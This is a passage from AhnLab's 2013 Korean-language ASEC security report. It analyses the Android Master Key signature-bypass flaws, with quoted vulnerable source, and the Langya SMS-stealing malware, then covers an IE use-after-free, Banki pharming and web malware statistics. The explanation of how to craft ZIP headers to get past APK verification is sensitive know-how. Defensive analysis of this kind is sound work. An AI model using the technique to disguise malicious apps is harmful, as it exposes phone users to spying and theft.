실제압축된데이터가있는 Local file header 의위치정보등을가지고있다. 압축된파일개수만큼존재하며실제압축된데이터의헤더로하단에실제 Local file header 압축된데이터인 File data 가존재한다. 압축된파일개수만큼존재하며실질 File data 적으로압축된파일데이터가기록돼있다. 표 1-7 ZIP 파일구조에대한설명
18 변길이다. 실제압축돼있는데이터가존재하는 File data 의시작위치는 Local file header 의크기에 File name length 와 Extra field length 를구해서더하면알수있다. 다음 [ 그림 1-56] 은 File name 이 11이고 Extra field 가 0인경우 File data 의위치를구하는방법이다. 그림 1-54 ZIP 파일의해석 ZIP 파일의해석 [ 그림 1-54] 와같이 ZIP 파일은파일의마지막부터해석을시작한다. 그과정을간략히살펴보면다음과같다. 1 파일의가장마지막부분에서 End of central directory record 를찾아해당 ZIP 파일내부에몇개의압축된파일을가지고있는지, Central directory header 의시작위치등의정보들을구한다. 2 End of central directory record 에서구한 Central directory header 의시작위치로이동해 Central directory header 의개수만큼각종정보들을구한다. 여기서중요한부분이있는데 Central directory header 의크기는 File name length, Extra field length, File comment length 와같이 3개의가변데이터를포함하고있다. 따라서다음 Central directory header 의시작위치를알기위해서는기본헤더크기에앞서 3개의가변필드의크기를더해야한다. 그림 1-56 File Data 위치안드로이드인증서우회취약점 1. Master Key 취약점 APK 파일내에동일경로를가진두개이상의파일이포함되어있을경우자바코드에서는마지막파일만인식하지만, 반대로 C++ 에서는처음으로등장하는파일을인식하기때문에자바에서는정상파일을통해인증을하고실제로는악성파일이설치되는취약점이있다. 이러한차이를이용하면, 정상앱 (APK) 의 classes.dex( 이후, DEX) 파일앞에악성 DEX를포함시키는방법으로앱의무결성검증을우회할수있고, 실제로는악성 DEX가실행되도록할수도있다 ( 실제로 DEX 뿐만아니라, 다른타입의파일도중복이가능하다 ). 그림 1-57 Master Key 취약점 [ 취약점상세 ] 그림 1-55 Central Header 위치 3 압축된파일수만큼 Central directory header 정보를모두구하면각각의압축된파일의 Local file header 위치를알수있다. 압축을해제하고자하는파일의 Local file header 로이동해압축을해제할수있다. 4 Local file header 역시 Central directory header 와같이가 안드로이드에서는앱설치중아래의 [ 표 1-8] 과같은방식으로파일무결성검사를한다. PackageManagerService.installPackageLI() 앱설치 ( 이외에도아래함수가호출되는경우 ) PackageParser.collectCertificates() 앱의인증서로드 ( 전체파일대상 ) PackageParser. loadcertificates() 특정파일의인증서로딩 JarEntry.getInputStream() Stream 얻어옴 JarFileInputStream.read() 파일을읽으면서무결성검증을수행 VerifierEntry.verify() 검증결과를 verifiedentries에저장 ** 취약점발생
19 JarEntry.getCertificates() 파일에대한인증서로드 JarVerifier.getCertificates(getName()) 파일명을통해인증서를얻어옴 ** 취약점관련 PackageManagerService.scanPackageLI() 앱설치 PackageManagerService.verifySignaturesLP() 전체파일에대해인증서검증 PackageManagerService.compareSignatures() 전체파일에대해인증서검증표 1-8 안드로이드의앱설치 Call Tree 무결성검사에이용되는파일의해쉬및인증서정보는앱 (APK) 의 META-INF 폴더에저장돼있다. 안드로이드에서는이값들과전체파일들의인증서값이일치하는지확인해앱의손상여부를확인한다. 이과정에서취약점이발생하는데, 최초로딩시전체파일에대한인증서정보를구해올때이값을아래 [ 표 1-9] 와같이 Hashtable에저장하게된다. 위에서저장한인증서정보를반환한다. 위에서취약점이발생한데이터를그대로이용하기때문에문제가된다. Certificate[] JarEntry.getCertificates(String name) { Certificate[] verifiedcerts = verifiedentries.get(name); if (verifiedcerts == null) { return null; } return verifiedcerts.clone(); } 표 1-10 취약점이발생하는위치위와같은취약점코드로인해서안드로이드는악성 DEX가 Zip 에추가됐음에도불구하고, 정상앱으로인식하게된다. 추가적으로 AndroidManifest.xml 파일조차도중복으로삽입해서사용자가인지하지못하고, 다수의퍼미션 (Permission) 에부여되도록조작하는사례도발견됐다. private final Hashtable<String, Certificate[]> verifiedentries = new Hashtable<String, Certificate[]>(); 표 1-9 취약한방식으로인증서정보를저장하는변수 Hashtable 데이터타입은사전 (Dictionary) 의단어 (Keyword) 와뜻 (Meaning) 을한쌍으로저장한다. 데이터들을서로구분해주는 Key 와실제 Value를한쌍으로저장하는데사전에단어가고유하듯이 Key 값은중복된값이있을수없다. 그러므로동일 Key 에 Value 값을중복으로입력하면기존의 Value 값이나중 Value 값으로변경된다. 예를들어위 [ 표1-9] 에서언급한변수는파일의이름을 Key 로설정하고, 인증서데이터를 Value로해데이터를저장한다. 만약 Zip 파일내에동일이름을가진파일이 n개존재한다면, 앞의모든파일들 (n-1) 에대한인증서데이터가마지막파일의인증서정보로교체된다. 즉실제위변수 verifiedentries[ 파일명 ] 을통해데이터에접근하면, 마지막 n번째파일에대한 Certificate 데이터가나온다는것이다. 아래 [ 표 1-10] 은실제문제가되는취약점코드이다. /luni/src/main/java/java/util/jar/jarverifier.java 아래함수는앱의 JarFile 객체를통해서파일의데이터를읽을때호출이이뤄지는데, verifiedentries 변수에파일의이름과그에해당하는인증서정보가함께담긴다. 그러나저장할때에파일명을 Key 로지정하기때문에취약점이발생한다. void VerifierEntry.verify() { byte[] d = digest.digest(); // digest.digest() 는파일의데이터 hash if (!MessageDigest.isEqual(d, Base64.decode(hash))) { // META-INF 에저장된 hash와비교 throw invaliddigest(jarfile.manifest_name, name, jarname); } verifiedentries.put(name, certificates); } /luni/src/main/java/java/util/jar/jarentry.java 2. 안드로이드의압축해제 (C++) 위의자바압축모듈과의비교를위해 C++ 소스를살펴보면다음 [ 표 1-11] 과같다. 아래소스는 dalvik/libdex 라이브러리안에있는 ZipArchive.cpp 소스이다. 각함수들은 Dalvik VM에서앱을실행하기위해 DEX를추출할때이용하는 dexunziptofile 함수의서브함수들이다. static int parseziparchive(ziparchive* parchive) { // Zip 을파싱 int numentries = parchive->mnumentries; // Zip 의 Entry 개수에비례해 HashTable 생성 parchive->mhashtablesize = dexrounduppower2(1 + (numentries * 4) / 3); parchive->mhashtable = (ZipHashEntry*)calloc(pArchive- >mhashtablesize, sizeof(ziphashentry)); for (i = 0; i < numentries; i++) { // Array 의마지막에데이터단순추가 addtohash(parchive, (const char*)ptr + kcdelen, filenamelen, hash); } } ZipEntry dexzipfindentry(const ZipArchive* parchive, const char* entryname) { // DEX Entry 반환 // Array 를 Loop 돌면서이름이같은 Entry 가발견되면바로반환 while (parchive->mhashtable[ent].name!= NULL) { if (parchive->mhashtable[ent].namelen == namelen && memcmp(parchive->mhashtable[ent].name, entryname, namelen) == 0) { // Entry 반환 } } } // 위의 Entry는아래의구조체의단순배열이다. struct ZipHashEntry { const char* name; unsigned short namelen; }; 표 1-11 자바와차이를보이는 C++ 소스
20 위함수들에서이용하는데이터들은앞서살펴본자바에서와달리, 단순 Array 형태로저장된다. 이때문에중복된이름으로 DEX 파일이압축돼있더라도가장먼저등장하는 DEX가유효하다. 이러한구현의차이때문에안드로이드에서는맨마지막에등장하는 DEX를통해검증을하고, 실행할때는맨먼저등장하는 DEX를실행하는취약점이발생한다. [ 그림 1-59] 는 local file header를나타낸것이다. 위그림에서 file name과 extra filed를제외하고는고정된길이를가진다. File name과 extra field는 2byte 값을가지는 file name length와 extra field length에의해결정되는것을알수있다. 3. Local Header 취약점자바에서 short형을 int형으로변환할때 2^15보다큰값인경우음수로인식하지만, C++ 로작성된 native unzip 모듈에서는음수로인식하지않는다. 안드로이드에서는인증서검증을위해자바를사용하는데 Header를파싱할때 ExtraLength 크기가 2^15 이상인경우음수로인 식하지만 C++ 에서는음수로인식하지않아취약점이발생한다. 그림 1-60 get Input Stream(Zip Entry entry) [ 취약점상세 ] 다음은자바에서 Short형을 int형으로변환할때발생할수있는문제를나타낸코드다. 위에서 localextralenorwhatever 는 local file header 에서 Extra Field length를의미한다. 첫번째붉은박스에서 Short형을 int에할당하고있으며, 이경우 2^15가넘으면 자바에서의형변환 과같이음수가반환된다. 또한두번째붉은박스 rafstrm.skip(entry.namelength + localextralenorwhatever); 의결과 extra filed를정상적으로건너뛰지못한다. 이로인해 Extra Field에원본파일을두는경우안드로이드의인증을우회할수있다. 그림 1-58 Short 형을 int 형으로변환할때발생하는문제를나타내는코드 위코드를실행시킨결과는다음과같다. -1 65535 그림 1-61 Local file header 취약점개념도 Local file header 취약점은 extra filed의크기에의존하기때문에원본 classes.dex의크기가 2^16-1(64K) 이하인경우에만발생할수있다는제약이있다. 4. Centeral Header 취약점자바에서 Central Header 내의 extralength 크기가 0보다클때에만처리하고작을때에는아무것도처리하지않기때문에발생하는취약점이다. 그림 1-59 Zip Local file header
21 안드로이드는자바와 C++ 2가지의언어로개발됐으며내부에서도 2 가지언어로개발된프로그램이동작하고있다. 안드로이드의애플리케이션설치프로그램검증모듈은자바로개발됐으며설치모듈은 C++ 로개발됐다. ZIP 압축파일내 Central 헤더에존재하는 extra length 와 comment length 는각각 2바이트자료형으로, 안드로이드의애플리케이션설치모듈중인증서검증모듈언어는자바에서이 2바이트자료형을 short 으로처리하고, 설치를담당하는모듈의언어인 C++ 에서는이 2바이트자료형을 unsigned short 으로처리한다. [ 그림 1-62] 를보면자바에서 0x8000 을 -32768 로표현하지만 C++ 에서는해당값이양수 32768 로표현된다. 이는자바가 unsigned 라는부호없는자료형을지원하지않기때문이다. 그림 1-64 자바에서디렉토리검증이를종합하면 META-INF 디렉토리하위에임의의파일을만들고 Extra field length 에 0x8000 값을셋팅하면자바에서는 -32768 로인식해 0보다크지않으므로 Extra field 가없는것으로인식하지만, C++ 에서는 Extra field 의크기를 32768 로인식하게된다. 따라서 [ 그림 1-65] 를보면자바는바로다음영역인 Extra field 에있는 Central directory header 를읽게되며, C++ 에서는 Extra field 의크기인 32768 을건너뛴다음에존재하는 Central directory header 를읽게된다. 결과적으로자바와 C++ 은전혀다른 Central directory header 를읽게되어이들이참조하는 Local file header 도전혀다르게구성할수있다. 그림 1-62 자바와 C++ 의자료형 안드로이드소스코드를살펴보면 extralength 의크기가 0보다클경우에만처리한다. 즉 0 또는음수인경우에는아무런처리도하지않는다. 그림 1-65 Central Header 취약점개념도 Master key 취약점을이용한샘플 지난 7월, 40개이상의 POC 샘플또는취약점공격샘플이확인됐다. [ 그림 1-66] 은해당취약점을이용한샘플이다. 그림 1-63 자바에서 Central header 처리 이를이용하면 Extra field length 와 File comment length 에자바 에서는음수, C++ 에서는양수로각각인식하는데이터를사용할경우 ZIP 압축파일의해석을원하는방향으로제어할수있다. 또한안드로이드의애플리케이션설치시인증서검증모듈은인증에필요한데이터가있는 META-INF 디렉토리에있는파일과디렉토리파일은검증을하지않고있다. 그림 1-66 취약점 POC 샘플 [ 그림 1-66] 은 DEX 와 AndroidManifest.xml 파일을두개씩포함하고
22 있는악성샘플이다. 디렉토리구조에나오는순서대로악성-정상파일의순서이다. 위취약점의특성상무결성검증에이용되는샘플은하단에있는정상파일들이다. 안랩에서는확인된취약점을진단할수있는방법을개발해 V3 모바일제품군에적용했다. 인증서를우회하는취약점을이용해생성된악성코드는 V3 모바일제품군에서 Android-Trojan/SignatureBypass. Gen, Android-Trojan/MasterKey 로진단한다. 중국산 Langya 악성앱 국내스마트폰사용자들을타깃으로만들어진중국산 Langya 악성앱에대해알아보자. 그림 1-67 앱실행후생성되는 DEY 파일추가 [ 그림 1-67] 은위앱을실제로설치한뒤실행을했을때생성되는 DEY 파일을추출해 APK를압축해제한폴더에넣어둔모습이다. DEY 파일은 Dalvik VM 위에서의앱의실행속도를높이기위해 DEX 이미지를최적화한파일이며, /data/dalvik-cache 폴더에저장된다. 즉실제로실행된 DEX 파일이저장된다. 그림 1-69 악성앱최초실행시화면 그림 1-68 악성 DEX와같은패턴을포함 [ 그림 1-68] 은 DEX 파일의패턴과비슷한파일을검색한것으로, 악성파일 (classes.dex, 정상은classes_1.dex) 이검색된것을확인할수있다. 실제로도악성 DEX가실행되는것을확인할수있다. 세계에서가장많이이용하고있는모바일 OS인안드로이드는사용자와개발자에게많은자율성을제공한다. 그로인해 3-party market이활성화되거나, 리패키징 (repackaging) 과같은보안이슈가오래전부터발생해왔다. 과거 PC 악성코드제작자들도모바일로눈을돌리고있다. 이와같은추세에서 Master Key 취약점의등장은일종의신호탄과도같다. 악성코드제작자들은사용자몰래악성행위를하기위해서취약점에대해연구할것이고, 악성코드는보다지능화될것이다. 안전하게스마트폰을사용하기위해서는, 앱설치시반드시정규마켓을이용해야하며 SMS나카카오톡과같은메신저로전달된 URL을통해앱을설치하지않아야한다. 또한모바일백신과같은보안프로그램을이용해설치된프로그램을주기적으로검사하면보다안전하게스마트폰의편리함을즐길수있다. Langya는중국어로狼牙 ( 랑야 ) 라고읽으며승냥이이빨 이라는뜻이다. Langya라는진단명은악성앱의 Activity와 Receiver 이름이 Langya로돼있는특징에서비롯됐다. 그림 1-70 악성앱의 Activity, Receiver 이름 [Langya 앱의요청권한 ] android.permission.write_sms android.permission.receive_sms android.permission.read_sms android.permission.internet android.permission.camera android.permission.mount_unmount_filesystems android.permission.read_contacts android.permission.access_fine_location android.permission.access_coarse_location
23 android.permission.read_phone_state android.permission.receive_boot_completed android.permission.record_audio android.permission.call_phone android.permission.read_phone_state android.permission.send_sms android.permission.access_network_state android.permission.access_wifi_state android.permission.reboot android.permission.process_outgoing_calls android.permission.modify_phone_state android.permission.call_phone android.permission.system_alert_window android.permission.access_wifi_state android.permission.change_wifi_state android.permission.mount_unmount_filesystems android.permission.install_packages android.permission.change_network_state android.permission.wake_lock android.permission.modify_audio_settings 해당악성앱은보안에민감한권한을많이요구한다. [ 주요기능 ] 1 앱제거방지기능 ( 사용자가특수설정을하지않으면정상적으로앱을제거할수없다.) 그림 1-72 Device Admin 퍼미션요청및함수호출코드사용자가 Activate 버튼을선택하면특수권한 (Lock the screen) 이부여되면서애플리케이션매니저에서해당앱을삭제할수없게된다. 그림 1-73 앱을제거할수없도록 Uninstall 버튼이비활성화됨정상적으로삭제하려면우선폰의 [ 설정-보안-기기관리자 ] 메뉴에서 sample_device_admin 항목의체크상태를취소해야한다. 그림 1-74 sample_device_admin 항목 그림 1-71 Device administrator 권한요청화면 악성앱이실행되면 [ 그림 1-71] 의코드를실행시켜 Device Administrator 권한 (Lock the screen) 을요청한다. 그리고다시애플리케이션매니저를보면정상적으로 Uninstall 버튼이활성화되면서앱의제거가가능하다. 2 악성앱을설치한후최초실행하면애플리케이션목록에서자신의아이콘을숨긴다.
24 wa*****2@163.com lw******2@163.com 또한발송한메일계정은아래코드에서찾을수있다. 그림 1-75 설치직후에는악성앱아이콘이보임 악성앱은실행후 setcomponentenabledsetting() API 를호출한다. 그림 1-76 setcomponentenabledsetting() API 호출 setcomponentenabledsetting() API가호출되면 [ 그림 1-77] 과같이앱목록에서해당악성앱의아이콘이사라진다. 그림 1-78 발송메일계정코드 악성앱은 n*****@163.com 발송메일을사용한후삭제하지않기때문에메일서버에접속해유출한 SMS 메시지를확인할수있다. 그림 1-77 최초실행후아이콘이보이지않음 3 사용자가수신하는모든메시지는악성앱제작자가지정한메일계정으로유출된다. Langya 악성앱은감염된사용자의기기에서모든문자메시지를모니터링해악성앱제작자가지정한메일계정으로유출한다. 악성앱제작자는중국에서많이사용하고있는왕이 (wangyi) 홈페이지에서 SMTP 서비스를무료로제공하는메일계정을여러개신청했다. 그중일부분은안드로이드기기에서악성앱을이용해탈취한메시지를발송하는데에사용했고나머지계정은탈취한메시지를수신하는데사용했다. 앱분석과정에서탈취된 SMS 를수신하는메일계정은아래와같다. 그림 1-79 n*****@163.com 메일계정의보낸편지함
25 메일계정을보면, 많은 SMS가유출됐음을알수있다. 해당항목을선택하면본문내용을확인할수있다. 글을작성하는이순간에도수십통의 SMS가유출되고있었다. 또한이번 Langya 악성앱만의특징은내부에사용되지않는코드가많다는점이다. 다른 Langya 변종을보면감염된폰의주소록유출, 스미싱문자전송등다양한기능이있으나분석에사용된 Langya 앱은그런기능이내부코드로는존재하지만, 실제로는사용되지않았다. 이런점으로비추어봤을때마치악성앱초보개발자가기존 Langya 소스코드를입수해서적당히수정한후배포한것으로분석된다. 실제중국에는이같은사례가많다. 해당악성코드는 V3 Mobile 제품을통해진단이가능하다. <V3 Mobile의진단명 > Android-Spyware/Langya
ASEC REPORT 43 SECURITY TREND 26 보안동향 01. 보안통계 7월마이크로소프트보안업데이트현황 2013 년 7 월마이크로소프트사에서발표한보안업데이트는총 7 건으로긴급 6 건, 중요 1 건이다. 그림 2-1 공격대상기준별 MS 보안업데이트 긴급 MS13-052.NET Framework 및 Silverlight 의취약점으로인한원격코드실행문제점 MS13-053 Windows 커널모드드라이버의취약점으로인한원격코드실행문제점 MS13-054 GDI+ 의취약점으로인한원격코드실행문제점 MS13-055 Internet Explorer 누적보안업데이트 MS13-056 Microsoft DirectShow 의취약점으로인한원격코드실행문제점 MS13-057 Windows Media Format Runtime 의취약점으로인한원격코드실행문제점 중요 MS13-058 Windows Defender 의취약점으로인한권한상승문제점 표 2-1 신종악성코드유형별분포
ASEC REPORT 43 SECURITY TREND 27 악성코드동향 02. 보안이슈 마이크로소프트 IE Use-After-Free 취약점 (CVE-2013-3163) 악용 7월초 MS사는자사블로그를통해브라우저상의제로데이취약점을이용하는공격코드 (Exploit) 가확산되고있다고전했다. 해당취약점은인터넷익스플로러 (Internet Explorer) 상에서발생하는 Use-After- Free 취약점으로, 다음과같이 mshtml!atl_free 함수에의해해제된 mshtml!celement::`vftable' 객체의메모리를또다시참조하는과정에서메모리오류가발생한다. 국내다수의사이트를통해악성코드뱅키 (Banki) 배포최근국내사용자들은인터넷뱅킹을방해하는악성코드뱅키 (Banki) 에시달리고있다. 해당악성코드뱅키는사용자 PC에서실행되면, 설치된 PC 상의호스트 (hosts) 파일을변경해정상이아닌가짜은행사이트에자동접속되도록만드는파밍공격을수행한다. 그림 2-2 메모리해제전 그림 2-6 호스트파일변조 그림 2-3 메모리해제후그림 2-4 메모리참조오류해당취약점을이용하면공격자는원하는코드실행이가능하다. 실제확산되는공격코드는브라우저와어도비 (Adobe) 사의플래시플레이어 (Flash Player) 파일 (SWF) 을연동해 [ 그림 2-5] 와같이공격을수행한다. 다수의국내사이트들이이악성코드뱅키의배포처로이용되고있다. 해당국내사이트는공격자에의해변조되어웹사이트에접근하는사용자 PC를자동으로감염시키고, 웹공격툴킷 (Web Exploit Toolkit) 이설치된사이트로사용자를유도한다. 대부분의뱅키파일은동일이름을사용하고있으나, 거의매일사용 URL과파일명을변경하고있어분석이나추적을어렵게하고있다. 그림 2-5 공격코드 그림 2-7 뱅키배포코드
ASEC REPORT 43 WEB SECURITY TREND 28 웹보안동향 01. 웹보안통계 웹사이트악성코드동향 안랩의웹브라우저보안서비스인사이트가드 (SiteGuard) 를활용한웹사이트보안통계자료에의하 면, 2013 년 7 월웹을통한악성코드발견건수는모두 1 만 2772 건이었다. 악성코드유형은총 235 종, 악성코드가발견된도메인은 226 개, 악성코드가발견된 URL 은 734 개로각각집계됐다. 전월과 비교해서웹을통한악성코드발견건수, 악성코드가발견된도메인, 악성코드가발견된 URL 은증가 했지만악성코드유형은감소했다. 표 3-1 2013 년 7 월웹사이트보안현황 악성코드발견건수 10,212 7 월 6 월 12,772+25.0% 악성코드유형 235 255 악성코드가발견된도메인 226 176 악성코드가발견된 URL 734 641 월별악성코드배포 URL 차단건수 2013 년 7 월웹을통한악성코드발견건수는전월의 1 만 212 건과비교해 25.0% 증가한 1 만 2772 건이다. 그림 3-1 월별악성코드발견건수변화추이 20,000 15,000 15,013 27.0% 10,212 32.0% 12,772 25.0% 10,000 5,000 0 05 06 07
ASEC REPORT 43 WEB SECURITY TREND 29 월별악성코드유형 2013 년 7 월악성코드유형은전달 255 건에비해 7.8% 감소한 235 건이다. 그림 3-2 월별악성코드유형수변화추이 500 272 255 235 9.6% 5.5% 7.8% 250 0 05 06 07 월별악성코드가발견된도메인 2013 년 7 월악성코드가발견된도메인은 226 건으로, 2013 년 6 월의 176 건에비해 28.4% 증가했다. 그림 3-3 악성코드가발견된도메인수변화추이 300 200 208 176 226 8.9% 15.4% 28.4% 100 0 05 06 07 월별악성코드가발견된 URL 2013 년 7 월악성코드가발견된 URL 은전월의 641 건과비교해 14.8% 증가한 734 건이다. 그림 3-4 월별악성코드가발견된 URL 수변화추이 1,000 750 963 47.0% 641 33.4% 734 14.8% 500 250 0 05 06 07
ASEC REPORT 43 WEB SECURITY TREND 30 월별악성코드유형 악성코드유형별배포수를보면스파이웨어가가 5844 건 (45.8%) 으로가장많았고, 트로이목마가 4711 건 (36.9%) 인것으로조사됐다. 유형 건수 비율 SPYWARE 5,844 45.8 % TROJAN 4,711 36.9 % ADWARE 334 2.6 % DROPPER 58 0.5 % DOWNLOADER 51 0.4 % Win32/VIRUT 50 0.4 % APPCARE 8 0.1 % JOKE 2 0 % ETC 1,714 13.3 % 12,772 100.0 % 표 3-2 악성코드유형별배포수 6,000 5,844 4,711 3,000 1,714 0 SPYWARE TROJAN 그림 3-5 악성코드유형별배포수 334 ADWARE DROPPER 58 51 50 8 2 DOWNLOADER Win32/VIRUT APPCARE JOKE ETC 악성코드최다배포수악성코드배포최다 10건중에서 Win-Spyware/Agent.544453이 5767건으로 1위를차지했으며, Worm/Win32.Luder 등 4건이새로등장했다. 순위등락악성코드명건수비율 1 Win-Spyware/Agent.544453 5,767 54.1 % 2 3 Trojan/Win32.Agent 2,986 28.0 % 3 ALS/Bursted 515 4.8 % 4 NEW Worm/Win32.Luder 298 2.8 % 5 1 Trojan/Win32.KorAd 262 2.4 % 6 NEW Trojan/Win32.Starter 208 1.9 % 7 2 ALS/Qfas 201 1.9 % 7 1 Adware/Win32.Clicker 201 1.9 % 9 NEW Win32/Induc 124 1.2 % 10 NEW Trojan/Win32.Genome 105 1.0 % TOTAL 10,667 100 % 표 3-3 악성코드배포최다 10건
ASEC REPORT CONTRIBUTORS 집필진 책임연구원 허재준 책임연구원 심선영 선임연구원 박종석 선임연구원 이도현 선임연구원 박시준 선임연구원 김용구 선임연구원 강동현 주임연구원 문영조 주임연구원 김재홍 연구원 강민철 참여연구원 ASEC 연구원 편집 안랩세일즈마케팅팀 디자인 안랩 UX 디자인팀 감수전무조시행 발행처 주식회사안랩경기도성남시분당구삼평동 673 ( 경기도성남시분당구판교역로 220) T. 031-722-8000 F. 031-722-8901 Disclosure to or reproduction for others without the specific written authorization of AhnLab is prohibited. 2013 AhnLab, Inc. All rights reserved.